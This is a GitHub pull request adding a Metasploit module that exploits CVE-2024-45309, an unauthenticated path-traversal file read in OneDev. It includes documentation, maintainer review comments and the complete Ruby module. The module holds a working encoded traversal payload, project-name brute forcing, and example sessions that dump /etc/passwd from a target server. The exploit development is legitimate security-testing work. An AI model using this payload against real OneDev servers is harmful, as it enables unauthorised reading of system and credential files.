-
Notifications
You must be signed in to change notification settings - Fork 14k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
OneDev Unauthenticated Arbitrary File Read (CVE-2024-45309) #19614
base: master
Are you sure you want to change the base?
Changes from 4 commits
1e6bfb2
f0abc0d
8f2f0c7
a74e167
3a90648
c9e0668
1348275
39243fc
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change | ||||
---|---|---|---|---|---|---|
@@ -0,0 +1,135 @@ | ||||||
## Vulnerable Application | ||||||
|
||||||
OneDev is a Git Server with CI/CD, kanban, and packages. | ||||||
This module exploits an unauthenticated arbitrary file read vulnerability (CVE-2024-45309), which affects OneDev versions <= 11.0.8. | ||||||
This vulnerability arises due to the lack of user-input sanitization of path traversal sequences `..` in the `ProjectBlobPage.java` file. | ||||||
|
||||||
To exploit this vulnerability, a valid OneDev project name is required. If anonymous access is enabled on the OneDev server, any visitor | ||||||
can view existing projects without authentication. | ||||||
However, when anonymous access is disabled, an attacker who lacks prior knowledge of existing project names can use a brute-force approach. | ||||||
By providing a user-supplied wordlist, the module may be able to guess a valid project name and subsequently exploit the vulnerability. | ||||||
|
||||||
## Installation | ||||||
|
||||||
OneDev provides docker images for a quick setup process. | ||||||
A vulnerable version (`v11.0.8`) can be found [here](https://hub.docker.com/r/1dev/server/tags?name=11.0.8). | ||||||
|
||||||
Installation instructions can be found [here](https://docs.onedev.io/). | ||||||
|
||||||
## Verification Steps | ||||||
|
||||||
1. Install the OneDev application | ||||||
2. Start msfconsole | ||||||
3. Do: `use auxiliary/gather/onedev_arbitrary_file_read` | ||||||
4. Set the `RHOSTS` and `RPORT` options as necessary | ||||||
5. Set the `TARGETFILE` option with the absolute path of the target file to read | ||||||
|
||||||
If a valid project name is known: | ||||||
|
||||||
6. Set the `PROJECT_NAME` option with the known project name | ||||||
7. Do: `run` | ||||||
8. If the file exists, the contents will be displayed to the user | ||||||
|
||||||
If there is no information about existing projects: | ||||||
|
||||||
6. Set the `PROJECT_NAMES_FILE` option with the absolute path of a wordlist that contains multiple possible values for a valid project name | ||||||
7. Do: `run` | ||||||
8. If a valid project name is found, the target file contents will be displayed to the user | ||||||
|
||||||
## Options | ||||||
|
||||||
### PROJECT_NAME | ||||||
A valid OneDev project name is required to exploit the vulnerability. If anonymous access is enabled on the OneDev server, | ||||||
any visitor can see the existing projects, and colllect a valid project name. On the other hand, if anonymous access is disabled, | ||||||
the user needs to have previous knowledge of a valid project name or use the `PROJECT_NAMES_FILE` option to find one through brute force. | ||||||
|
||||||
### PROJECT_NAMES_FILE | ||||||
Absolute path of a wordlist containing multiple possible values for valid project names. Once this option is set, | ||||||
the module will verify whether a given project exists for each word. | ||||||
|
||||||
|
||||||
### TARGETFILE | ||||||
Absolule file path of the target file to be retrieved from the OneDev server. Set as `/etc/passwd` by default. | ||||||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
Suggested change
|
||||||
|
||||||
### STORE_LOOT | ||||||
If set as `true`, the target file contents will be stored as loot. Set as `false` by default. | ||||||
|
||||||
|
||||||
## Scenarios | ||||||
|
||||||
### Example: Known project name or anonymous access enabled on OneDev 11.0.8 | ||||||
|
||||||
``` | ||||||
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RHOSTS 192.168.1.10 | ||||||
RHOSTS => 192.168.1.10 | ||||||
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RPORT 6610 | ||||||
RPORT => 6610 | ||||||
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set PROJECT_NAME myproject | ||||||
PROJECT_NAME => myproject | ||||||
msf6 auxiliary(gather/onedev_arbitrary_file_read) > run | ||||||
[*] Running module against 192.168.1.10 | ||||||
|
||||||
[+] Target file retrieved with success | ||||||
[*] root:x:0:0:root:/root:/bin/bash | ||||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin | ||||||
bin:x:2:2:bin:/bin:/usr/sbin/nologin | ||||||
sys:x:3:3:sys:/dev:/usr/sbin/nologin | ||||||
sync:x:4:65534:sync:/bin:/bin/sync | ||||||
games:x:5:60:games:/usr/games:/usr/sbin/nologin | ||||||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin | ||||||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin | ||||||
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin | ||||||
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin | ||||||
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin | ||||||
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin | ||||||
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin | ||||||
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin | ||||||
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin | ||||||
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin | ||||||
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin | ||||||
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin | ||||||
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash | ||||||
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin | ||||||
|
||||||
[*] Auxiliary module execution completed | ||||||
|
||||||
``` | ||||||
|
||||||
### Example: Unknown projects with anonymous access disabled on OneDev 11.0.8 | ||||||
``` | ||||||
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RHOSTS 192.168.1.10 | ||||||
RHOSTS => 192.168.1.10 | ||||||
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RPORT 6610 | ||||||
RPORT => 6610 | ||||||
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set PROJECT_NAMES_FILE /home/server/wordlist.txt | ||||||
PROJECT_NAMES_FILE => /home/server/wordlist.txt | ||||||
msf6 auxiliary(gather/onedev_arbitrary_file_read) > run | ||||||
[*] Running module against 192.168.1.10 | ||||||
|
||||||
[*] Brute forcing valid project name ... | ||||||
[+] 192.168.1.10:6610 - Found valid OneDev project name: myproject | ||||||
[+] Target file retrieved with success | ||||||
[*] root:x:0:0:root:/root:/bin/bash | ||||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin | ||||||
bin:x:2:2:bin:/bin:/usr/sbin/nologin | ||||||
sys:x:3:3:sys:/dev:/usr/sbin/nologin | ||||||
sync:x:4:65534:sync:/bin:/bin/sync | ||||||
games:x:5:60:games:/usr/games:/usr/sbin/nologin | ||||||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin | ||||||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin | ||||||
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin | ||||||
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin | ||||||
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin | ||||||
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin | ||||||
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin | ||||||
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin | ||||||
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin | ||||||
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin | ||||||
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin | ||||||
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin | ||||||
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash | ||||||
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin | ||||||
|
||||||
[*] Auxiliary module execution completed | ||||||
|
||||||
``` |
Original file line number | Diff line number | Diff line change | ||||||||
---|---|---|---|---|---|---|---|---|---|---|
@@ -0,0 +1,130 @@ | ||||||||||
## | ||||||||||
# This module requires Metasploit: https://metasploit.com/download | ||||||||||
# Current source: https://github.com/rapid7/metasploit-framework | ||||||||||
## | ||||||||||
|
||||||||||
class MetasploitModule < Msf::Auxiliary | ||||||||||
include Msf::Exploit::Remote::HttpClient | ||||||||||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. This will run the check method automagically
Suggested change
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. The reason why I didn't place the autocheck is to prevent the module execution interruption when the target OneDev instance doesn't have anonymous access enabled, since in this case, the check function fails to detect if the OneDev instance is vulnerable, even thought it is. Should I still enable the autocheck in this case? There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. If the version check only works when anonymous access enabled and it's not enabled by default I would suggest trying to exploit the vulnerability as a part of the check method. This auxiliary module does something similar:
It exploits the vulnerability, reads On a related note, I noticed it is possible to install OneDev on Windows. Do you know if this vuln is exploitable on Windows has you considered adding support for it? Just curious as if you did go this route in the check method you might have to account for OneDev being installed on Windows. |
||||||||||
CheckCode = Exploit::CheckCode | ||||||||||
|
||||||||||
def initialize(info = {}) | ||||||||||
super( | ||||||||||
update_info( | ||||||||||
info, | ||||||||||
'Name' => 'OneDev Unauthenticated Arbitrary File Read', | ||||||||||
'Description' => %q{ | ||||||||||
This module exploits an unauthenticated arbitrary file read vulnerability (CVE-2024-45309), which affects OneDev versions <= 11.0.8. | ||||||||||
To exploit this vulnerability, a valid OneDev project name is required. If anonymous access is enabled on the OneDev server, any visitor | ||||||||||
can view existing projects without authentication. | ||||||||||
However, when anonymous access is disabled, an attacker who lacks prior knowledge of existing project names can use a brute-force approach. | ||||||||||
By providing a user-supplied wordlist, the module may be able to guess a valid project name and subsequently exploit the vulnerability. | ||||||||||
}, | ||||||||||
'Author' => [ | ||||||||||
'vultza', # metasploit module | ||||||||||
'Siebene' # vuln discovery | ||||||||||
], | ||||||||||
'License' => MSF_LICENSE, | ||||||||||
'References' => [ | ||||||||||
['CVE', '2024-45309'], | ||||||||||
['URL', 'https://github.com/theonedev/onedev/security/advisories/GHSA-7wg5-6864-v489'] | ||||||||||
], | ||||||||||
'DisclosureDate' => '2024-10-19', | ||||||||||
'Notes' => { | ||||||||||
'Stability' => [CRASH_SAFE], | ||||||||||
'Reliability' => [], | ||||||||||
'SideEffects' => [IOC_IN_LOGS] | ||||||||||
} | ||||||||||
) | ||||||||||
) | ||||||||||
register_options( | ||||||||||
[ | ||||||||||
OptString.new('TARGETURI', [true, 'The relative URI of the OneDev instance', '/']), | ||||||||||
OptString.new('TARGETFILE', [true, 'The absolute file path to read', '/etc/passwd']), | ||||||||||
OptBool.new('STORE_LOOT', [true, 'Store the target file as loot', false]), | ||||||||||
OptString.new('PROJECT_NAME', [true, 'The target OneDev project name', '']), | ||||||||||
OptPath.new('PROJECT_NAMES_FILE', [ | ||||||||||
false, 'File containing project names to try, one per line', | ||||||||||
File.join(Msf::Config.data_directory, 'wordlists', 'namelist.txt') | ||||||||||
]) | ||||||||||
] | ||||||||||
) | ||||||||||
end | ||||||||||
|
||||||||||
def check | ||||||||||
res = send_request_cgi({ | ||||||||||
'method' => 'GET', | ||||||||||
'uri' => normalize_uri(target_uri.path) | ||||||||||
}) | ||||||||||
|
||||||||||
return CheckCode::Unknown('Request failed') unless res | ||||||||||
|
||||||||||
version = res.body.scan(/OneDev ([\d.]+)/).first | ||||||||||
|
||||||||||
if version.nil? | ||||||||||
return CheckCode::Unknown("Unable to detect the OneDev version, as the instance does not have anonymous access enabled.") | ||||||||||
jheysel-r7 marked this conversation as resolved.
Show resolved
Hide resolved
|
||||||||||
end | ||||||||||
|
||||||||||
version = Rex::Version.new(version[0]) | ||||||||||
|
||||||||||
return CheckCode::Safe("OneDev #{version} is not vulnerable.") if version > Rex::Version.new('11.0.8') | ||||||||||
|
||||||||||
CheckCode::Vulnerable("OneDev #{version} is vulnerable.") | ||||||||||
vultza marked this conversation as resolved.
Show resolved
Hide resolved
|
||||||||||
end | ||||||||||
|
||||||||||
def validate_project_exists(project) | ||||||||||
res = send_request_cgi({ | ||||||||||
'method' => 'GET', | ||||||||||
vultza marked this conversation as resolved.
Show resolved
Hide resolved
|
||||||||||
'uri' => normalize_uri(target_uri.path, project, '~site') | ||||||||||
}) | ||||||||||
|
||||||||||
fail_with(Failure::Unreachable, 'Request timed out.') unless res | ||||||||||
|
||||||||||
return true unless res.code != 200 | ||||||||||
|
||||||||||
nil | ||||||||||
vultza marked this conversation as resolved.
Show resolved
Hide resolved
|
||||||||||
end | ||||||||||
|
||||||||||
def find_project | ||||||||||
print_status 'Brute forcing valid project name ...' | ||||||||||
vultza marked this conversation as resolved.
Show resolved
Hide resolved
|
||||||||||
|
||||||||||
File.open(datastore['PROJECT_NAMES_FILE'], 'rb').each do |project| | ||||||||||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. I noticed there is no There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. I used as the The only thing I can do is to remove the default fallback path for the case that somehow the default wordlist file doesn't exist. |
||||||||||
project = project.strip | ||||||||||
next unless validate_project_exists(project) | ||||||||||
|
||||||||||
print_status("#{peer} - Found valid OneDev project name: #{project}") | ||||||||||
return project | ||||||||||
end | ||||||||||
nil | ||||||||||
end | ||||||||||
|
||||||||||
def run | ||||||||||
project_name = datastore['PROJECT_NAME'] | ||||||||||
|
||||||||||
project_name = find_project if project_name.strip.empty? | ||||||||||
|
||||||||||
fail_with(Failure::NoTarget, 'No valid OneDev project was found.') unless project_name | ||||||||||
|
||||||||||
fail_with(Failure::NoTarget, 'Provided project name is invalid.') unless validate_project_exists(project_name) | ||||||||||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. This will validate twice that the project is valid. It's not super-duper-critical, but it would be nice to minimize the amount of requests :) There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Yes I agree that this double check is redundant, I updated this section on c9e0668 to validate the project name only with the user-provided project name |
||||||||||
|
||||||||||
path_traversal = '~site////////%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e' | ||||||||||
payload_path = normalize_uri(target_uri.path, project_name) | ||||||||||
payload_path = "#{payload_path}/#{path_traversal}#{datastore['TARGETFILE']}" | ||||||||||
|
||||||||||
res = send_request_cgi({ | ||||||||||
'method' => 'GET', | ||||||||||
'uri' => payload_path | ||||||||||
}) | ||||||||||
|
||||||||||
fail_with(Failure::Unreachable, 'Request timed out.') unless res | ||||||||||
|
||||||||||
fail_with(Failure::UnexpectedReply, "Target file #{datastore['TARGETFILE']} not found.") unless !res.body.include? 'Site file not found' | ||||||||||
|
||||||||||
file_name = datastore['TARGETFILE'] | ||||||||||
if datastore['STORE_LOOT'] | ||||||||||
store_loot(File.basename(file_name), 'text/plain', datastore['RHOST'], res.body, file_name, 'File retrieved from OneDev server') | ||||||||||
print_good("#{file_name} file stored in loot.") | ||||||||||
else | ||||||||||
print_good("#{file_name} file retrieved with success.\n#{res.body}") | ||||||||||
end | ||||||||||
end | ||||||||||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.